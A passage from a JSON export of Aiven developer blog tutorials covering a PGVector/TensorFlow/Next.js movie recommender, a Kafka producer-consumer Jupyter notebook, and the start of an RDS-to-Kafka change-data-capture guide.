divide data into batches for faster processing:\n\n```js\nuse.load().then(async model =\u003e {\n   const batchSize = 1000;\n   for (let start = 0; start \u003c moviePlots.length; start += batchSize) {\n      const end = Math.min(start + batchSize, moviePlots.length);\n      console.log(`Processing items from ${start} till ${end}.`);\n      const movieBatch = moviePlots.slice(start, end);\n      const plotDescriptions = movieBatch.map(plot =\u003e plot['Plot']);\n      const embeddingsRequest = await model.embed(plotDescriptions);\n      const embeddings = embeddingsRequest.arraySync();\n\n      for (let i = 0; i \u003c movieBatch.length; i++) {\n         movieBatch[i]['embedding'] = embeddings[i];\n      }\n      await storeInPG(movieBatch);\n   }\n});\n```\n##### Send the complete dataset with embeddings to PostgreSQL\n\nTo execute the code that we wrote and send data to PostgreSQL, run:\n\n```bash\nnode encoder.js\n```\n\n### Step 4. Contextual Search with PGVector: Node.js and TensorFlow Magic\n::youtube[Video for Step 4]{#lyTvhGSMEGc}\n\n##### Build recommendation logic\n\nCreate the **recommender.js** file and include dependencies:\n\n```js\nrequire('dotenv').config();\nconst fs = require('fs');\nconst pg = require('pg');\nrequire('@tensorflow/tfjs-node');\nconst use = require('@tensorflow-models/universal-sentence-encoder');\n```\n\nConnect to PostgreSQL:\n\n```js\nconst config = {\n    user: process.env.PG_NAME,\n    password: process.env.PG_PASSWORD,\n    host: process.env.PG_HOST,\n    port: process.env.PG_PORT,\n    database: \"defaultdb\",\n    ssl: {\n        rejectUnauthorized: true,\n        ca: fs.readFileSync('./ca.pem').toString(),\n    },\n};\n```\n\nWe'll be looking for \"a lot of cute puppies\". Generate an embedding for the test string and use PGVector to find the closest suggestions among the movies we have in the database:\n\n```js\nuse.load().then(async model =\u003e {\n    const embeddings = await model.embed(\"a lot of cute puppies\");\n    const embeddingArray = embeddings.arraySync()[0];\n\n    const client = new pg.Client(config);\n    await client.connect();\n    try {\n        const pgResponse = await client.query(`SELECT * FROM movie_plots ORDER BY embedding \u003c-\u003e '${JSON.stringify(embeddingArray)}' LIMIT 5;`);\n        console.log(pgResponse.rows);\n    } catch (err) {\n        console.error(err);\n    } finally {\n        await client.end()\n    }\n});\n```\n\nRun to get the results:\n\n```bash\nnode recommender.js\n```\n\n### Step 5. Next.js project setup: PostgreSQL and TensorFlow dependencies, test the backend\n::youtube[Video for Step 5]{#3g9CruIREfs}\n\n##### Get started with Next.js project\n\nFind more about Next.js at https://nextjs.org/. Create a project with:\n\n```bash\nnpx create-next-app@latest\n```\n\nWe'll be using following settings:\n\n```bash\nWhat is your project named?  what-to-watch\nWould you like to use TypeScript?  No / *Yes*\nWould you like to use ESLint?  *No* / Yes\nWould you like to use Tailwind CSS?  No / *Yes*\nWould you like to use `src/` directory?  *No* / Yes\nWould you like to use App Router? (recommended)  *No* / Yes\nWould you like to customize the default import alias?  *No* / Yes\n```\n\nOnce the project is installed navigate to the folder where it is located, or open it in your preferred IDE.\n\n##### Add dependencies\n\nBefore we can use TensorFlow and PostgreSQL, we need to install them:\n\n```bash\nnpm install @tensorflow-models/universal-sentence-encoder --save\n```\n\n```bash\nnpm install @tensorflow/tfjs-node --save\n```\n\n```bash\nnpm install pg --save\n```\n\nAdditionally, add a dependency for dotenv, to simplify the work with credentials:\n\n```bash\nnpm install dotenv --save\n```\n\n##### Add PostgreSQL credentials\n\nCreate a *.env* file and add following placeholders for the properties that we need to define:\n\n```js\nPG_NAME=\nPG_PASSWORD=\nPG_HOST=\nPG_PORT=\n```\nGo to the service page of your Aiven for PostgreSQL and copy **User**, **Password**, **Host** and **Port** from the tab with the connection information and add them to the appropriate fields above.\n\nDownload **ca.pem** and add it to a folder **/certificates**\n\nAdd both **.env** and  **/certificates** to .gitignore.\n\n```bash\n.env\n\n/certificates\n```\n\n##### Run\n\n\nStart the server with:\n\n\n```bash\nnpm dev run\n```\n\nOpen **localhost:3000** to see the landing page. Open **localhost:3000/api/hello**\nto see a test backend api call.\n\n### Step 6. Nearest vector retrieval: TensorFlow universal-sentence-encoder and PGVector-powered queries in Next.js\n::youtube[Video for Step 6]{#UZJnjFbFJvE}\n\n##### Add an interface for a movie\n\nDeclare a movie type by creating **movie.d.ts** and adding the following:\n\n```js\ndeclare type Movie = {\n    title: string,\n    director: string,\n    cast: string,\n    genre: string,\n    plot: string,\n    year: number,\n    wiki: string,\n    embedding: number[]\n}\n\nexport default Movie;\n```\n\n##### Add backend calls\n\nRename existing the **pages/api/hello.ts** API Route to **pages/api/recommendations.ts**. \n\nAdd dependencies to **pages/api/recommendations.ts**:\n\n```js\nconst {readFileSync} = require('fs');\nconst pg = require('pg');\nconst tf = require('@tensorflow/tfjs-node');\nconst use = require('@tensorflow-models/universal-sentence-encoder');\n```\n\nCreate the connection configuration for PostgreSQL:\n\n```js\nconst config = {\n    user: process.env.PG_NAME,\n    password: process.env.PG_PASSWORD,\n    host: process.env.PG_HOST,\n    port: process.env.PG_PORT,\n    database: \"defaultdb\",\n    ssl: {\n        rejectUnauthorized: true,\n        ca: readFileSync('./certificates/ca.pem').toString(),\n    },\n};\n```\n\nAdd a handler to process the requests:\n\n```js\nexport default async function handler(\n    req: NextApiRequest,\n    res: NextApiResponse\u003cMovie[]\u003e\n) {\n    const model = await use.load();\n    const embeddings = await model.embed(req.body.search);\n    const embeddingArray = embeddings.arraySync()[0];\n    const client = new pg.Client(config);\n    await client.connect();\n\n    try {\n        const pgResponse = await client.query(`SELECT * FROM movie_plots ORDER BY embedding \u003c-\u003e '${JSON.stringify(embeddingArray)}' LIMIT 5;`);\n        res.status(200).json(pgResponse.rows)\n    } catch (err) {\n        console.error(err);\n    } finally {\n        await client.end()\n    }\n}\n\n```\n\n### Step 7. Frontend integration: Next.js movie recommender UI and calls to TensorFlow and PostgreSQL\n::youtube[Video for Step 7]{#HBSBkYHQcjo}\n\nOpen **pages/index.tsx** and delete the existing layout and dependencies - we won't need them. Instead, add this code to connect to the API Route **/api/recommendations** :\n\n```js\nconst [moviePlots, setMoviePlots] = useState \u003c Movie[] \u003e ([])\nconst searchInput = useRef();\n\nfunction search(event) {\n    event.preventDefault();\n    const enteredSearch = searchInput.current.value;\n    fetch('/api/recommendations', {\n        method: 'POST',\n        body: JSON.stringify({\n            search: enteredSearch\n        }),\n        headers: {\n            'Content-Type': 'application/json'\n        }\n    }).then(response =\u003e response.json()).then(data =\u003e {\n        setMoviePlots(data);\n    });\n}\n```\n\nAdd a simple layout to input a search phrase and see the results:\n\n```js\nreturn (\n    \u003c\u003e\n        \u003cform onSubmit={search}\u003e\n            \u003cinput type=\"search\" id=\"default-search\" ref={searchInput} autoComplete=\"off\"\n                   placeholder=\"Type what do you want to watch about\" required/\u003e\n            \u003cbutton type=\"submit\"\u003e\n                Search\n            \u003c/button\u003e\n\n        \u003c/form\u003e\n\n        \u003cdiv\u003e\n            { moviePlots.map(item =\u003e\n                \u003cdiv key={item.title}\u003e\n                    {item.director}\n                    {item.year}\n                    item.title}\n                    {item.wiki}\n                \u003c/div\u003e)}\n        \u003c/div\u003e\n    \u003c/\u003e\n)\n```\n\n### Step 8. Polishing and testing: styling the movie recommender UI with the Tailwind CSS framework\n::youtube[Video for Step 8]{#bZ1_72A4YPM}\n\nWe'll add some styling with [Tailwind CSS](https://tailwindcss.com/).\n\nFind **tailwind.config.ts** in your Next.js project and update it with:\n\n```js\nmodule.exports = {\n  content: [\n    './pages/**/*.{js,ts,jsx,tsx,mdx}',\n    './components/**/*.{js,ts,jsx,tsx,mdx}',\n    './app/**/*.{js,ts,jsx,tsx,mdx}',\n  ],\n  theme: {\n    extend: {\n      colors: {\n        veryDarkBlue: '#1B262C',\n        darkBlue: '#0F4C75',\n        lightBlue: '#3282B8',\n        veryLightBlue: '#BBE1FA',\n      },\n      fontFamily: {\n        sans: ['Poppins', 'sans-serif']\n      },\n      spacing: {\n\n      },\n    },\n  },\n  plugins: [],\n}\n```\n\nIn **index.tsx** Replace the form element with the section:\n\n```js\n\u003csection id=\"shorten\"\u003e\n    \u003cdiv className=\"max-w-4xl mx-auto p-6 space-y-6\"\u003e\n        \u003cform onSubmit={search}\u003e\n            \u003clabel htmlFor=\"default-search\"\n                   className=\"mb-2 text-sm font-medium sr-only text-white\"\u003eSearch\u003c/label\u003e\n            \u003cdiv className=\"relative\"\u003e\n                \u003cdiv className=\"absolute inset-y-0 left-0 flex items-center pl-3 pointer-events-none\"\u003e\n                    \u003csvg className=\"w-4 h-4 text-gray-400\" aria-hidden=\"true\"\n                         xmlns=\"http://www.w3.org/2000/svg\" fill=\"none\" viewBox=\"0 0 20 20\"\u003e\n                        \u003cpath stroke=\"currentColor\" strokeLinecap=\"round\" strokeLinejoin=\"round\"\n                              strokeWidth=\"2\" d=\"m19 19-4-4m0-7A7 7 0 1 1 1 8a7 7 0 0 1 14 0Z\"/\u003e\n                    \u003c/svg\u003e\n                \u003c/div\u003e\n                \u003cinput type=\"search\" id=\"default-search\" ref={searchInput} autoComplete=\"off\"\n                       className=\"block w-full p-4 pl-10 text-sm border rounded-lg  bg-gray-700 border-gray-600 placeholder-gray-400 text-white focus:ring-blue-500 focus:border-blue-500\"\n                       placeholder=\"Type what do you want to watch about\" required/\u003e\n                \u003cbutton type=\"submit\"\n                        className=\"text-white absolute right-2.5 bottom-2.5 focus:ring-4 focus:outline-none font-medium rounded-lg text-sm px-4 py-2 bg-lightBlue hover:bg-darkBlue focus:ring-blue-800\"\u003eSearch\n                \u003c/button\u003e\n            \u003c/div\u003e\n        \u003c/form\u003e\n    \u003c/div\u003e\n\u003c/section\u003e\n```\n\nTo style the list of the movies and add a loading indicator, replace the existing movie list with: \n\n```js\n\u003cdiv className=\"flex gap-8 flex-wrap flex-col grow shrink items-start mx-24\"\u003e\n    {isLoading ? (\u003cdiv className=\"flex justify-center items-center h-32 w-32 mx-auto\"\u003e\n        {/* Embedding the SVG loading indicator */}\n        \u003csvg\n            className=\"animate-spin h-6 w-6 text-white\"\n            xmlns=\"http://www.w3.org/2000/svg\"\n            fill=\"none\"\n            viewBox=\"0 0 24 24\"\n        \u003e\n            \u003ccircle\n                className=\"opacity-25\"\n                cx=\"12\"\n                cy=\"12\"\n                r=\"10\"\n                stroke=\"currentColor\"\n                strokeWidth=\"4\"\n            \u003e\u003c/circle\u003e\n            \u003cpath\n                className=\"opacity-75\"\n                fill=\"currentColor\"\n                d=\"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z\"\n            \u003e\u003c/path\u003e\n        \u003c/svg\u003e\n    \u003c/div\u003e) : moviePlots.map(item =\u003e\n        \u003cdiv key={item.title}\n             className=\"relative p-10 rounded-xl binline-block justify-start rounded-lg shadow-[0_2px_15px_-3px_rgba(0,0,0,0.07),0_10px_20px_-2px_rgba(0,0,0,0.04)] bg-darkBlue items-start\"\u003e\n            \u003cdiv className=\"text-6xl absolute top-4 right-4 opacity-80\"\u003e🍿\u003c/div\u003e\n            \u003cdiv\u003e\n                \u003ch4 className=\"opacity-90 text-xl\"\u003eFrom {item.director}\u003c/h4\u003e\n                \u003cp className=\"opacity-50 text-sm\"\u003eYear {item.year}\u003c/p\u003e\n            \u003c/div\u003e\n            \u003ch1 className=\"text-4xl mt-6\"\u003e{item.title}\u003c/h1\u003e\n            \u003cp className=\"relative mt-6 text opacity-80 italic\"\u003e\n                {item.plot}\n            \u003c/p\u003e\n            \u003cdiv\u003e\n                \u003cp className=\"opacity-50 text-sm mt-6\"\u003e\n                    \u003ca\n                        href={item.wiki}\n                        className=\"underline decoration-transparent transition duration-300 ease-in-out hover:decoration-inherit\"\n                    \u003e{item.wiki}\u003c/a\n                    \u003e\n                \u003c/p\u003e\n            \u003c/div\u003e\n        \u003c/div\u003e)}\n\u003c/div\u003e\n```\n\nYou can find the complete [index.js in the github repository](https://github.com/Aiven-Labs/what-movie-to-watch-pgvector/blob/main/pages/index.tsx).\n\n### Final verdict: PGVector, TensorFlow, Node.js, and Next.js: success or hiccup?\n::youtube[Video for Step 8]{#kpBca_clIj0}\n","feature":{"_type":"featuredItem","active":true,"endDate":"2024-10-21T11:48:00.000Z"},"hierarchy":{"_ref":"34643944-d559-485e-93a0-7d1f94a744e7","_type":"reference"},"internalTags":[{"_key":"def308ccd69f","_ref":"8fe00684-fc9b-413d-9f61-98889297feec","_type":"tag"}],"publishedAt":"2024-03-18T12:48:04.141Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"White text reading: TensorFlow, PostgreSQL, PGVector, and Next.js: building a movie recommender","asset":{"_ref":"image-5a28e31f9035059a822ca0b004149ab2f8d56e16-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/building-a-movie-recommender"},"subtitle":"Leveraging TensorFlow, PostgreSQL®, PGVector, and Next.js for vector search with this step-by-step video guide.","tags":[{"_key":"54451688a816","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"fc33e519c2f2","_ref":"525f6516-2adf-4f0d-aab6-35835bd07e46","_type":"tag"},{"_key":"2be46d2b9b9c","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"29b7654e7cda","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"}],"title":"TensorFlow, PostgreSQL®, PGVector \u0026 Next.js: building a movie recommender"}
{"__i18n_lang":"en","_createdAt":"2023-08-07T06:48:10Z","_id":"2dc31ac9-3761-40fd-bf1d-b48bff2f9435","_rev":"ZxCjdMWwjhy9DmKAIc09Ql","_type":"devArticle","_updatedAt":"2024-10-29T10:40:46Z","body":"One of the best ways to learn a new technology is to try it within an assisted environment that anybody can replicate and get working within few minutes. Notebooks represent an excellence in this field by allowing people to share and use pre-built content which includes written descriptions, media and executable code in a single page.\n\nThis blog post aims to teach you the basics of Apache Kafka® Producers and Consumers through building an interactive notebook in Python. If you want to browse a full ready-made solution instead, check out our [dedicated github repository](https://github.com/Aiven-Labs/python-notebooks-for-apache-kafka).\n\n\u003c!--\n::banner[Join the online workshop where we follow this tutorial.]{ctaText=\"Read more and register\" ctaLink=\"https://aiven.io/video/workshop-learn-apache-kafka-with-python\" title=\"Workshop: Learn Apache Kafka with Python\" background=\"\" theme=\"light\"}\n--\u003e\n\n## Language support and multi-window GUI: the case for JupyterLab\nOne of the main actors in the notebook space is the [Jupyter project](https://jupyter.org/). With **JupyterLab** it provides a solid web interface where it's possible to create and distribute notebooks written in a variety of languages (named [kernels](https://jupyterlab.readthedocs.io/en/stable/user/documents_kernels.html#:~:text=In%20the%20Jupyter%20architecture%2C%20kernels,file%20in%20the%20kernel%20interactively.) in Jupyter terms).\n\nJupyterLab can be started as Docker container. Using Docker allows us to focus on learning without having to deal with software installation and configuration: a big win for productivity. We start by creating a folder on  named `kafka-jupyter` and navigating to it. If you prefer terminal over a GUI, you can achieve the same result by issuing the following two commands:\n\n```shell\nmkdir -p kafka-jupyter\ncd kafka-jupyter\n```\n\nNow we can start the Docker container with the following command:\n\n```shell\ndocker run                    \\\n  --rm -p 8888:8888           \\\n  -e JUPYTER_ENABLE_LAB=yes   \\\n  -v \"$PWD\":/home/jovyan/work \\\n  jupyter/datascience-notebook\n```\n\nThe above command will create a Jupyter Docker container, with JupyterLab enabled, mapping the existing `kafka-jupyter` folder in it. This step is required if we want to share files from the host computer to the guest. When the above command is executed, we see a message like this:\n\n```\nTo access the server, open this file in a browser:\n        file:///home/jovyan/.local/share/jupyter/runtime/jpserver-9-open.html\n    Or copy and paste one of these URLs:\n        http://639a69244ab1:8888/lab?token=5031e1652236a8050ea2a9213df7c6ade24a790d3710b239\n        http://127.0.0.1:8888/lab?token=5031e1652236a8050ea2a9213df7c6ade24a790d3710b239\n```\n\nNow, JupyterLab is accessible at `http://127.0.0.1:8888/?token=\u003ctoken\u003e`, where `\u003ctoken\u003e` is the one shown in the above message.\n\nOne of the great things about JupyterLab is that it provides an easy GUI-driven method to configure and arrange the user interface. This makes it the perfect choice to learn not only sequential step-by-step tutorials, but also more complex and branched examples where multiple code sections have to run in parallel... Can you see where I'm going?\n\n## Why Kafka on a Notebook?\nApache Kafka is a streaming technology. This means that to understand its beauty you need to have data flowing from Point A (aka the Producer) to Point B (aka the Consumer). Kafka step-by-step tutorials can become complex to follow, since they usually require continuously switching focus between various applications or windows. JupyterLab, with its great language support and multi-window layout, is the perfect way to dig into the basics of Kafka with text descriptions, media and executable code available in a single Web UI. This way you can focus on technology concepts rather than on your local setup.\n\nNow, as a basic playground, let's create an Aiven for Apache Kafka® instance with [Aiven Console](https://console.aiven.io/). If you haven't done it already, [sign up for an Aiven account](https://console.aiven.io/signup) and redeem the free credit to start your trial.\n\nTo create a Kafka Service, select a **cloud provider**, the **region** where you want to deploy the service and the **plan** which determines the amount of resources available for your cluster. Finally set the **service name**; in this example we'll refer to an instance named `kafka-notebook` but you can choose any name you wish.\n\n::alert[Tip! A [video](https://www.youtube.com/watch?v=YH-S3Huwfms) is available allowing you to review the whole service creation process.]{type=\"success\"}\n\nWhile we wait for the service to be ready, let's click on it to check its details. On the **Overview** tab we can find the **Host** and **Port** information we'll later use to connect to the cluster. While we're here, we can download the three SSL certificates required to authenticate to Kafka (**Access Key**, **Access Certificate** and **CA Certificate**) into our local `kafka-jupyter` folder.\n\n![service-overview](//cdn.sanity.io/images/sczeoy4w/production/b51c1d455a8d690ccfb4187be3bf1e24249771b4-1893x739.png \"Service overview in the Aiven Console\")\n\nLast change required: we need to scroll down the **Overview** tab to the **Advanced configuration** section and enable the `kafka.auto_create_topics_enable` parameter which will allow us to produce messages to Kafka without needing to create a topic beforehand.\n\nNow, it's time for an espresso while we wait a couple of minutes until all the `Nodes` lights turn green, meaning that our `kafka-notebook` Kafka instance is running and ready to be used.\n\n🟢🟢🟢 \n\n## Producing the first message\nIf we now check the JupyterLab Web UI at `http://127.0.0.1:8888/`, we should see something like this:\n\n![web-ui](//cdn.sanity.io/images/sczeoy4w/production/711098831b461a3c99daca55f39a8b7ea4db7208-1893x736.png \"JupyterLab WebUI\")\n\nOn the top left we can spot the `work` folder. By double clicking on it we can see that it contains the three certificates (`ca.pem`, `service.cert`, `service.key`) we downloaded earlier in our host `kafka-jupyter` folder. It's now time to create a Kafka producer by selecting the **Python 3** icon under the **Notebook** section of the main page. A notebook will be opened with a first empty cell that we can use to install the Python library needed to connect to Kafka. Copy the following in the cell and run it:\n\n```\n%%bash\npip install kafka-python\n```\n\nEven if we are creating a Python notebook, the prefix `%%bash` allows us to execute bash commands. This section installs [kafka-python](https://pypi.org/project/kafka-python/), a Python client for Apache Kafka.\n\nNow we're all set to produce our first record to Kafka.\n\nA new empty code block should already be there, if not let's click on the `+` icon on top of our notebook. In this new code section we'll speak Pythonese and create an instance of `KafkaProducer`. Copy and paste the following code into the block, replacing the `\u003chost\u003e` and `\u003cport\u003e` parameters with the ones taken from Aiven's console:\n\n```python\nfrom kafka import KafkaProducer\nimport json\n\nproducer = KafkaProducer(\n bootstrap_servers='\u003chost\u003e:\u003cport\u003e',\n security_protocol=\"SSL\",\n ssl_cafile=\"./ca.pem\",\n ssl_certfile=\"./service.cert\",\n ssl_keyfile=\"./service.key\",\n value_serializer=lambda v: json.dumps(v).encode('ascii')\n)\n```\n\nThe code creates a producer, pointing to Kafka via the `bootstrap_servers` parameter and using the `SSL` authentication and the three SSL certificates. The `value_serializer` transforms our json message value into a bytes array, the format requested and understood by Kafka.\n\nNow let's produce our first message. Since it's time to think about summer holidays, we'll create a hotel booking message by pasting the following in a new code block and execute it.  \n\n```python\nproducer.send(\n 'hotel-booking-request',\n value=\n    {\n     \"name\": \"Giuseppe Rossi\",\n     \"hotel\": \"Luxury Hotel\",\n     \"dateFrom\": \"25-06-2021\",\n     \"dateTo\": \"07-07-2021\",  \n     \"details\": \"I want the best room 😀😀😀😀😀!!!!\"\n     }\n)\nproducer.flush()\n```\n\nThe above code adds Giuseppe's booking for Luxury Hotel to a buffer of pending records, which will be sent to a topic named `hotel-booking-request`. With the `flush()` method we make sure the record is actually sent to Kafka. Let's save our producer notebook as `Producer.ipynb`.\n\nHappy times! Our 1st message has gone to Kafka. How can be sure? Well... let's create a Consumer.\n\n## Consuming the Message(s)\nWe now create a new Python notebook to host our Consumer code. In general, it's a good idea to create separate notebooks for producer and consumer, since they solve two different problems and are usually placed in different sections of the containing application. It also enables us to keep the related code separate and to focus only on one block at the time.  \n\nNevertheless, JupyterLab allows us to visualise the Consumer alongside the Producer, to do this we drag and drop the newly created notebook alongside the Producer one as shown in the image below.\n\n![move-consumer](//cdn.sanity.io/images/sczeoy4w/production/7ed3b81488fa9e6cf39dbf1dee0eff386bfdd5ad-1894x738.gif \"Dragging and dropping the notebook\")\n\nIt's time now to create a `KafkaConsumer`, by pasting the following code into the first code block of our new notebook and, after amending the `\u003chost\u003e:\u003cport\u003e` section as done in the producer, executing it.\n\n```python\nfrom kafka import KafkaConsumer\nimport json\n\nconsumer = KafkaConsumer(\n bootstrap_servers='\u003chost\u003e:\u003cport\u003e',\n security_protocol=\"SSL\",\n ssl_cafile=\"./ca.pem\",\n ssl_certfile=\"./service.cert\",\n ssl_keyfile=\"./service.key\",\n value_deserializer = lambda v: json.loads(v.decode('ascii')),\n auto_offset_reset='earliest'\n)\n```\n\nThe consumer is ready, pointing to our Kafka cluster and using a deserialization function that will take the bytes from the message value and transform them into a json structure performing the opposite transformation to the one made during the production phase.\n\nBy default a consumer starts reading from a Kafka topic from the point in time it attaches to the cluster. Previous messages are not read. We are changing this behaviour with the `auto_offset_reset='earliest'` parameter, allowing us to read from the beginning of the topic.\nWe are now ready to subscribe to the `hotel-booking-request` topic and start reading from it with the following code\n\n```python\nconsumer.subscribe(topics='hotel-booking-request')\nfor message in consumer:\n  print (\"%d:%d: v=%s\" % (message.partition,\n                          message.offset,\n                          message.value))\n```\n\nThe consumer thread never ends: this is justified by the fact that we always want to consume messages as soon as they're available in the Kafka topic, and there is no \"end time\" in the streaming world. We should also see the first message appearing on our consumer console.\n\n```\n0:0: v={'name': 'Giuseppe Rossi',\n        'hotel': 'Luxury Hotel',\n        'dateFrom': '25-06-2021',\n        'dateTo': '07-07-2021',\n        'details': 'I want the best room 😀😀😀😀😀!!!!'}\n```\n\nNow if we go back to the Producer notebook, we can produce a holiday booking for `Carlo Bianchi` by pasting the following code in a new code block:\n\n```python\nproducer.send(\n 'hotel-booking-request',\n key=b'Average Hotel',\n value=\n    {\n     \"name\": \"Carlo Bianchi\",\n     \"hotel\": \"Average Hotel\",\n     \"dateFrom\": \"12-07-2021\",\n     \"dateTo\": \"23-07-2021\",  \n     \"details\": \"Room next to the highway 🚗🚗🚗🚗\"\n     }\n)\nproducer.flush()\n```\n\nAfter executing it, we should immediately receive the same message on the consumer side.\n\n```\n0:1: v={'name': 'Carlo Bianchi',\n        'hotel': 'Average Hotel',\n        'dateFrom': '12-07-2021',\n        'dateTo': '23-07-2021',\n        'details': 'Room next to the highway 🚗🚗🚗🚗'}\n```\n\nIf you're wondering what the `0:1` prefix is, check out the consumer code. They are the topics **partition** and **offset** meaning that we are reading the second message (offset starts with 0) from partition 0 of the topic. Our Producer/Consumer pipeline is working. Step 1 complete. Congrats!\n\n::banner[Try Aiven's fully managed and hosted Apache Kafka® now with a free 30-day trial and $300 credits to play with.]{ctaText=\"Get a free trial\" ctaLink=\"https://console.aiven.io/signup\" title=\"Looking for a data streaming solution?\" background=\"\" theme=\"dark\"}\n\n## Want more?\nIf this first notebook whetted your Kafka appetite, then check out our [pizza-based Kafka Python notebook](https://github.com/Aiven-Labs/python-notebooks-for-apache-kafka) for further examples of Kafka concepts like Partitioning, Consumer Groups and Kafka Connect. Please try the whole set of notebooks — and let us know if there's anything else you'd like included in it.\n\nThis blog post provides the first and very basic Apache Kafka Producer/Consumer setup, if you want to understand and test more, here are some additional resources:\n\n* [Aiven's console](https://console.aiven.io) to create Apache Kafka and other open source data platform instances\n* [Project Jupyter](https://jupyter.org/) where you can find information about JupyterLab\n* [kafka-python](https://pypi.org/project/kafka-python/) the Python library used to interact with Kafka\n\nAnd here's some further reading you might enjoy:\n* [Create your own data stream for Kafka with Python and Faker](https://aiven.io/developer/create-your-own-data-stream-for-kafka-with-python-and-faker)\n* [5 benefits of a Kafka-centric microservice architecture](https://aiven.io/blog/5-benefits-of-a-kafka-centric-microservice-architecture)\n* [An introduction to Apache Kafka](https://aiven.io/blog/what-is-apache-kafka)\n\n## Wrapping up\nNotebooks represent an awesome method to learn new concepts and technologies by providing a way to incapsulate in a unique artefact text explanations, media, and executable code. JupyterLab, with its huge language support and multi-window layout, constitutes the perfect playground for technologies, like Apache Kafka, composed of multiple pieces working simultaneously.\n\n--\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [RSS feeds](https://aiven.io/developer/feed.xml) or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-14T06:48:06.197Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"publishedAt":"2021-05-10T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Learn the basics of Apache Kafka Producers and Consumers through building an interactive notebook in Python.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-cebe8efaf5fead58de68ab581fa55ac0f06c2a99-1200x628-jpg","_type":"reference"}},"metaTitle":"Teach yourself Apache Kafka® and Python with a Jupyter Notebook"},"slug":{"_type":"slug","current":"/developer/teach-yourself-apache-kafka-and-python-with-a-jupyter-notebook"},"subtitle":"Learn the basics of Apache Kafka® Producers and Consumers through building an interactive notebook in Python.","tags":[{"_key":"234b1ea2f21b","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"f1868b369129","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"2e2d24acaeba","_ref":"a04702b4-48a1-492f-9600-6bd38971cc2c","_type":"tag"}],"title":"Teach yourself Apache Kafka® and Python with a Jupyter Notebook"}
{"__i18n_lang":"en","_createdAt":"2023-10-04T11:47:40Z","_id":"45050741-902d-4098-bc79-e04882899f73","_rev":"VeNKqGNmt13PzvGhqsSeYi","_type":"devArticle","_updatedAt":"2024-01-29T15:45:38Z","body":"[Amazon RDS](https://aws.amazon.com/rds/) offers a PostgreSQL backend for applications. This tutorial show you how to build a real-time change data capture process to track the changes happening in one (or more) RDS tables and stream them into Apache Kafka®, where multiple consumers can receive the data with a minimal latency.\n\nWe'll use [Aiven for Apache Kafka®](https://aiven.io/kafka) as the destination for our streaming data. You'll also need an [AWS account](https://aws.amazon.com/) to follow along.\n\n## Create AWS RDS database\n\nHead to the [AWS Console](https://aws.amazon.com/console/) and:\n\n* Navigate to the **Products** tab\n* Select **Databases**\n* Click on **RDS**\n* Click on **Create Database**\n\n![Create database button](https://cdn.sanity.io/images/sczeoy4w/production/b782e804c42a99e5fee76f21733dce6309dcca93-903x187.png)\n\n* Select **PostgreSQL**\n* Give the database a name like `database-test`\n* In the **Availability and durability** section, select **Single DB instance** (for the purpose of this tutorial, the Multi-AZ DB instance and Multi-AZ DB Cluster are functionally equivalent)\n* In the **Settings** section, change the master password to `test12345`\n\nNote: For production use cases, use a secure password.\n\n* In the **Connectivity** section, select a VPC with an [internet gateway attached](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_VPC.WorkingWithRDSInstanceinaVPC.html) and enable **Public Access**. You also might want to check that the inbound traffic is allowed from the IP you'll try to connect to RDS from.\n\nNote: you can avoid exposing RDS to public access and connect it to Apache Kafka via [VPC peering](https://aiven.io/docs/platform/howto/manage-vpc-peering) or have the [Aiven for Apache Kafka®](https://aiven.io/kafka) service as part of your AWS account with the [Bring Your Own Cloud model](https://aiven.io/docs/platform/concepts/byoc).\n\n## Populate AWS RDS database\n\nOnce the database is created, we can review the details in the AWS console. In the **Connectivity and Security** section we can check the database hostname and port.\n\n![AWS Console showing the database details](https://cdn.sanity.io/images/sczeoy4w/production/ea51e67820ec662a9551669bdc3e9ffc63a6c2c3-1622x693.png)\n\nWith the above information, we can connect to RDS with [psql](https://aiven.io/docs/products/postgresql/howto/connect-psql):\n\n```bash\npsql postgres://\u003cUSERNAME\u003e:\u003cPASSWORD\u003e@\u003cHOSTNAME\u003e:\u003cPORT\u003e/\u003cDATABASE_NAME\u003e\n```\n\nWhere:\n\n* `\u003cUSERNAME\u003e` is the connection username, `postgres` if you left the default unchanged\n* `\u003cPASSWORD\u003e` is the connection password, `test12345` if you followed the above instructions\n* `\u003cHOSTNAME\u003e` is the database host, taken from the AWS Console\n* `\u003cPORT\u003e` is the database port, taken from the AWS Console\n* `\u003cDATABASE_NAME\u003e` is the database name, by default `postgres`\n\nIf you're using the defaults and have followed the above instructions, the `psql` call should be:\n\n```bash\npsql postgres://postgres:test12345@\u003cHOSTNAME\u003e:\u003cPORT\u003e/postgres\n```\n\nOnce connected, we can create a test table and insert some data:\n\n```sql\nCREATE TABLE FORNITURE (ID SERIAL, NAME TEXT);\n\nINSERT INTO FORNITURE (NAME) VALUES ('CHAIR'),('TABLE'),('SOFA'),('FRIDGE');\n```\n\nA query like `SELECT * FROM FORNITURE;` should provide the following results\n\n```bash\n id |  name\n----+--------\n  1 | CHAIR\n  2 | TABLE\n  3 | SOFA\n  4 | FRIDGE\n(4 rows)\n```\n\n## Create an Aiven for Apache Kafka® service with Kafka Connect enabled\n\nIf you don't have an Apache Kafka cluster available, you can create one with Aiven by:\n\n* Navigate to the [Aiven Console](aiven.io/signup)\n* Click on **Create 